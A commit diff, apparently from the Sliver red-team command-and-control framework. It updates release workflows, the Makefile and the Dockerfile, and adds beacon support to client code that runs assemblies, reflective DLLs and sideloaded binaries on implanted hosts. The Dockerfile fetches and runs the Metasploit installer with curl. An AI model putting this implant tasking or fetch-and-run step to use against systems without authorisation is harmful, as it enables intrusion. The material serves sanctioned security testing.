Updated gosqlite

Fix go stager file saving

.github/workflows/autorelease.yml

@@ -3,7 +3,7 @@ name: Release
 on:
   push:
     tags: ["v[1-9]+.[0-9]+.[0-9]+"]
-    branches: [master]
+    branches: [master, goreleaser]
 
 jobs:
 
@@ -14,10 +14,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
     
     - name: OS Packages 
       run: |
@@ -35,6 +35,8 @@ jobs:
       run: ./go-assets.sh
 
     - name: Make
+      env:
+        ARTIFACT_SUFFIX: _linux
       run: export PATH=/home/runner/go/bin/:$PATH && make linux
   
     - name: Linux Artifacts
@@ -44,7 +46,11 @@ jobs:
         path: ./sliver-*
 
     - name: Make Windows
-      run: export PATH=/home/runner/go/bin/:$PATH && make windows
+      env: 
+        ARTIFACT_SUFFIX: _windows
+      run: |
+        make clean
+        export PATH=/home/runner/go/bin/:$PATH && make windows
 
     - name: Windows Artifacts
       uses: actions/upload-artifact@v2
@@ -59,10 +65,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
 
     - name: Mingw
       run: brew install mingw-w64
@@ -77,10 +83,14 @@ jobs:
       run: ./go-assets.sh
 
     - name: Make AMD64
+      env: 
+        ARTIFACT_SUFFIX: _macos
       run: make macos
-    
-    # - name: Make ARM64
-    #   run: make macos-arm64
+
+    - name: Make ARM64
+      env: 
+        ARTIFACT_SUFFIX: _macos-arm64
+      run: make macos-arm64
 
     - name: MacOS Artifacts
       uses: actions/upload-artifact@v2
@@ -98,10 +108,18 @@ jobs:
     timeout-minutes: 45
 
     steps:
-    - run: mkdir -p ./release && mkdir -p ./artifacts
+  
+    - run: mkdir -p ./builds
     - uses: actions/download-artifact@v2
       with:
-        path: ./artifacts
+        path: ./builds
+
+    - name: Extract Artifacts
+      run: |
+        mkdir -p ./artifacts
+        cp ./builds/linux/* ./artifacts
+        cp ./builds/windows/* ./artifacts
+        cp ./builds/macos/* ./artifacts
 
     - id: install-secret-key
       name: GPG Key(s)
@@ -109,43 +127,34 @@ jobs:
         cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
         gpg --list-secret-keys --keyid-format LONG
 
-    - name: Release
-      run: mkdir -p ./release
-
     # Linux
     - name: Linux AMD64
       run: |
-        zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
-        zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
-        gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
-
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
+    
     # Windows
     - name: Windows AMD64
       run: |
-        zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
-        zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
-        gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
 
     # MacOS AMD64
     - name: MacOS AMD64
       run: |
-        zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
-        zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
-        gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
-        gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
-
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
+  
     # MacOS ARM64
-    # - name: Package MacOS ARM64
-    #   run: |
-    #     zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
-    #     zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
-
+    - name: Package MacOS ARM64
+      run: |
+        gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
+        gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
+  
     - name: "Publish Release"
       uses: "marvinpinto/action-automatic-releases@latest"
       with:
         repo_token: "${{ secrets.GITHUB_TOKEN }}"
-        prerelease: false
+        prerelease: true
         files: |
-          ./release/*
+          ./artifacts/*

.github/workflows/codeql-scanning.yml

@@ -17,10 +17,10 @@ jobs:
 
     steps:
       # Setup go environment
-      - name: Go 1.17
+      - name: Go 1.18
         uses: actions/setup-go@v2
         with:
-          go-version: "^1.17"
+          go-version: "^1.18"
 
       - name: Checkout repository
         uses: actions/checkout@v2

.github/workflows/go.yml

@@ -6,6 +6,11 @@ on:
   pull_request:
     branches:
       - master
+    types:
+    - opened
+    - reopened
+    - synchronize
+    - ready_for_review
 
 jobs:
 
@@ -15,10 +20,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
     
     - name: OS Packages 
       run: |
@@ -50,10 +55,10 @@ jobs:
     timeout-minutes: 45
     steps:
 
-    - name: Go 1.17
+    - name: Go 1.18
       uses: actions/setup-go@v2
       with:
-        go-version: '^1.17'
+        go-version: '^1.18'
 
     - name: Mingw
       run: brew install mingw-w64

.gitignore

@@ -40,3 +40,5 @@ sliver-server-windows.zip
 .glide/
 
 .DS_Store
+
+dist/

Dockerfile

@@ -1,4 +1,4 @@
-FROM golang:1.17.6
+FROM golang:1.18
 
 #
 # IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
@@ -6,22 +6,22 @@ FROM golang:1.17.6
 #            a Docker deployment this is probably a good place to start.
 #
 
-ENV PROTOC_VER 3.17.1
-ENV PROTOC_GEN_GO_VER v1.26.0
-ENV GRPC_GO v1.1.0
+ENV PROTOC_VER 3.19.4
+ENV PROTOC_GEN_GO_VER v1.27.1
+ENV GRPC_GO v1.2.0
 
 # Base packages
 RUN apt-get update --fix-missing && apt-get -y install \
-  git build-essential zlib1g zlib1g-dev \
-  libxml2 libxml2-dev libxslt-dev locate curl \
-  libreadline6-dev libcurl4-openssl-dev git-core \
-  libssl-dev libyaml-dev openssl autoconf libtool \
-  ncurses-dev bison curl wget xsel postgresql \
-  postgresql-contrib postgresql-client libpq-dev \
-  libapr1 libaprutil1 libsvn1 \
-  libpcap-dev libsqlite3-dev libgmp3-dev \
-  zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
-  nasm gcc-multilib
+    git build-essential zlib1g zlib1g-dev \
+    libxml2 libxml2-dev libxslt-dev locate curl \
+    libreadline6-dev libcurl4-openssl-dev git-core \
+    libssl-dev libyaml-dev openssl autoconf libtool \
+    ncurses-dev bison curl wget xsel postgresql \
+    postgresql-contrib postgresql-client libpq-dev \
+    libapr1 libaprutil1 libsvn1 \
+    libpcap-dev libsqlite3-dev libgmp3-dev \
+    zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
+    nasm gcc-multilib
 
 #
 # > User
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
 # > Metasploit
 #
 RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
-  && chmod 755 msfinstall \
-  && ./msfinstall
+    && chmod 755 msfinstall \
+    && ./msfinstall
 RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
     &&  su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
 

Makefile

@@ -3,6 +3,7 @@
 #
 
 GO ?= go
+ARTIFACT_SUFFIX ?= 
 ENV =
 TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
 
@@ -22,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
 GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
 GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
 MIN_SUPPORTED_GO_MAJOR_VERSION = 1
-MIN_SUPPORTED_GO_MINOR_VERSION = 17
+MIN_SUPPORTED_GO_MINOR_VERSION = 18
 GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
 
 VERSION ?= $(shell git describe --abbrev=0)
 COMPILED_AT = $(shell date +%s)
-RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
-CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
-ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
-ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
+RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
+ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
+ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
 VERSION_PKG = github.com/bishopfox/sliver/client/version
+CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
 
 GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
 GIT_COMMIT = $(shell git rev-parse HEAD)
@@ -89,7 +90,9 @@ ifeq ($(MAKECMDGOALS), linux)
 		-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
 		-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
 		-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
-		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
+		-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
+		-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
 endif
 
 #
@@ -97,28 +100,28 @@ endif
 #
 .PHONY: default
 default: clean validate-go-version
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos
 macos: clean validate-go-version
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: macos-arm64
 macos-arm64: clean validate-go-version
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
-	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: linux
 linux: clean validate-go-version
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
-	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
+	GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
 
 .PHONY: windows
 windows: clean validate-go-version
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
-	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
+	GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
 
 .PHONY: pb
 pb:
@@ -149,5 +152,4 @@ clean-all: clean
 
 .PHONY: clean
 clean:
-	rm -f sliver-client_arm64 sliver-server_arm64
 	rm -f sliver-client sliver-server sliver-*.exe

README.md

@@ -1,7 +1,7 @@
 Sliver
 ======
 
-Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
+Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
 
 The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
 
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
 
 See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
 
+### Feedback
+
+Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
+
 ### License - GPLv3
 
 Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.

client/assets/settings.go

@@ -33,6 +33,8 @@ type ClientSettings struct {
 	TableStyle        string `json:"tables"`
 	AutoAdult         bool   `json:"autoadult"`
 	BeaconAutoResults bool   `json:"beacon_autoresults"`
+	SmallTermWidth    int    `json:"small_term_width"`
+	AlwaysOverflow    bool   `json:"always_overflow"`
 }
 
 // LoadSettings - Load the client settings from disk
@@ -55,6 +57,8 @@ func defaultSettings() *ClientSettings {
 		TableStyle:        "SliverDefault",
 		AutoAdult:         false,
 		BeaconAutoResults: true,
+		SmallTermWidth:    170,
+		AlwaysOverflow:    false,
 	}
 }
 

client/command/alias/load.go

@@ -32,9 +32,11 @@ import (
 	"github.com/bishopfox/sliver/client/command/help"
 	"github.com/bishopfox/sliver/client/console"
 	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util"
 	"github.com/desertbit/grumble"
+	"google.golang.org/protobuf/proto"
 )
 
 const (
@@ -64,12 +66,14 @@ type loadedAlias struct {
 	Command  *grumble.Command
 }
 
+// AliasFile - An OS/Arch specific file
 type AliasFile struct {
 	OS   string `json:"os"`
 	Arch string `json:"arch"`
 	Path string `json:"path"`
 }
 
+// AliasManifest - The manifest for an alias, contains metadata
 type AliasManifest struct {
 	Name           string `json:"name"`
 	Version        string `json:"version"`
@@ -154,10 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
 	}
 
 	helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
+	longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
+	longHelpMsg += "\n\n⚠️  If you're having issues passing arguments to the alias please read:\n"
+	longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
 	addAliasCmd := &grumble.Command{
 		Name:     aliasManifest.CommandName,
 		Help:     helpMsg,
-		LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
+		LongHelp: longHelpMsg,
 		Run: func(extCtx *grumble.Context) error {
 			con.Println()
 			runAliasCommand(extCtx, con)
@@ -230,17 +237,27 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
 }
 
 func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
 		return
 	}
+	var goos string
+	var goarch string
+	if session != nil {
+		goos = session.OS
+		goarch = session.Arch
+	} else {
+		goos = beacon.OS
+		goarch = beacon.Arch
+	}
+
 	loadedAlias, ok := loadedAliases[ctx.Command.Name]
 	if !ok {
 		con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
 		return
 	}
 	aliasManifest := loadedAlias.Manifest
-	binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
+	binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
 	if err != nil {
 		con.PrintErrorf("Fail to find alias file: %s\n", err)
 		return
@@ -255,14 +272,14 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	entryPoint := aliasManifest.Entrypoint
 	processName := ctx.Flags.String("process")
 	if processName == "" {
-		processName, err = aliasManifest.getDefaultProcess(session.GetOS())
+		processName, err = aliasManifest.getDefaultProcess(goos)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 	}
 	isDLL := false
-	if filepath.Ext(binPath) == ".dll" {
+	if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
 		isDLL = true
 	}
 	binData, err := ioutil.ReadFile(binPath)
@@ -272,14 +289,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	var outFilePath *os.File
 	if ctx.Flags.Bool("save") {
-		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
 		outFilePath, err = ioutil.TempFile("", outFile)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 	}
+
 	if aliasManifest.IsAssembly {
+
+		// Execute Assembly
 		ctrl := make(chan bool)
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
@@ -300,12 +320,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
-		if outFilePath != nil {
-			outFilePath.Write(executeAssemblyResp.GetOutput())
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+
+		if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
+			con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, executeAssemblyResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(executeAssemblyResp.Response)
+		} else {
+			PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
 		}
+
 	} else if aliasManifest.IsReflective {
+
+		// Spawn DLL
 		ctrl := make(chan bool)
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
@@ -319,18 +351,28 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		})
 		ctrl <- true
 		<-ctrl
-
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 
-		con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(spawnDllResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
+			con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, spawnDllResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(spawnDllResp.Response)
+		} else {
+			PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
 		}
+
 	} else {
+
+		// Sideload
 		ctrl := make(chan bool)
 		msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
 		con.SpinUntil(msg, ctrl)
@@ -345,20 +387,54 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		})
 		ctrl <- true
 		<-ctrl
-
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
 
-		con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
-		if outFilePath != nil {
-			outFilePath.Write([]byte(sideloadResp.GetResult()))
-			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		if sideloadResp.Response != nil && sideloadResp.Response.Async {
+			con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
+				err = proto.Unmarshal(task.Response, sideloadResp)
+				if err != nil {
+					con.PrintErrorf("Failed to decode call ext response %s\n", err)
+					return
+				}
+				PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
+			})
+			con.PrintAsyncResponse(sideloadResp.Response)
+		} else {
+			PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
 		}
 	}
 }
 
+// PrintSpawnDLLOutput - Prints the output of a spawn dll command
+func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(spawnDllResp.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+// PrintSideloadOutput - Prints the output of a sideload command
+func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
+	if outFilePath != nil {
+		outFilePath.Write([]byte(sideloadResp.GetResult()))
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
+// PrintAssemblyOutput - Prints the output of an execute-assembly command
+func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
+	con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
+	if outFilePath != nil {
+		outFilePath.Write(execAsmResp.GetOutput())
+		con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+	}
+}
+
 func cmdExists(name string, app *grumble.App) bool {
 	for _, c := range app.Commands().All() {
 		if name == c.Name {

client/command/armory/armory.go

@@ -88,7 +88,10 @@ var (
 	// public key -> armoryPkgCacheEntry
 	pkgCache = sync.Map{}
 
-	cacheTime      = time.Hour // This will kill a download if exceeded so needs to be large
+	// cacheTime - How long to cache the index/pkg manifests
+	cacheTime = time.Hour
+
+	// This will kill a download if exceeded so needs to be large
 	defaultTimeout = 15 * time.Minute
 )
 
@@ -223,8 +226,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 	tw.SetStyle(settings.GetTableStyle(con))
 	tw.SetTitle(console.Bold + "Packages" + console.Normal)
 
-	minWidth := 150
-	if minWidth < width {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"Command Name",
 			"Version",
@@ -279,7 +281,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
 		if extensions.CmdExists(pkg.CommandName, con.App) {
 			color = console.Green
 		}
-		if minWidth < width {
+		if con.Settings.SmallTermWidth < width {
 			rows = append(rows, table.Row{
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
 				fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
@@ -313,9 +315,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
 		{Name: "Name", Mode: table.Asc},
 	})
 	for _, bundle := range bundles {
+		if len(bundle.Packages) < 1 {
+			continue
+		}
+		packages := bundle.Packages[0]
+		if 1 < len(packages) {
+			packages += ", "
+		}
+		for index, pkgName := range bundle.Packages[1:] {
+			if index%5 == 4 {
+				packages += pkgName + "\n"
+			} else {
+				packages += pkgName
+				if index != len(bundle.Packages)-2 {
+					packages += ", "
+				}
+			}
+		}
 		tw.AppendRow(table.Row{
 			bundle.Name,
-			strings.Join(bundle.Packages, ", "),
+			packages,
 		})
 	}
 	con.Printf("%s\n", tw.Render())

client/command/armory/parsers.go

@@ -30,6 +30,7 @@ import (
 	"net/url"
 	"path"
 	"strings"
+	"time"
 
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -416,6 +417,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
 	if err != nil {
 		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
+	defer latestRedirect.Body.Close()
 	if latestRedirect.StatusCode != http.StatusFound {
 		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
 	}
@@ -455,9 +457,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 			Dial: (&net.Dialer{
 				Timeout: config.Timeout,
 			}).Dial,
-
-			Proxy: http.ProxyURL(config.ProxyURL),
-
+			IdleConnTimeout:     time.Millisecond,
+			Proxy:               http.ProxyURL(config.ProxyURL),
 			TLSHandshakeTimeout: config.Timeout,
 			TLSClientConfig: &tls.Config{
 				InsecureSkipVerify: config.DisableTLSValidation,

client/command/beacons/beacons.go

@@ -31,7 +31,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 )
 
 // BeaconsCmd - Display/interact with beacons
@@ -46,7 +46,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		err = kill.KillBeacon(beacon, false, con)
+		err = kill.KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -62,7 +62,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, true, con)
+			err = kill.KillBeacon(beacon, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				return
@@ -92,14 +92,14 @@ func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 }
 
 func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
-	width, _, err := terminal.GetSize(0)
+	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
 	}
 
 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if 182 < width {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -134,13 +134,13 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 		nextCheckin := time.Unix(beacon.NextCheckin, 0)
 		var next string
 		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			past := time.Now().Sub(nextCheckin)
+			past := time.Since(nextCheckin)
 			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
 		} else {
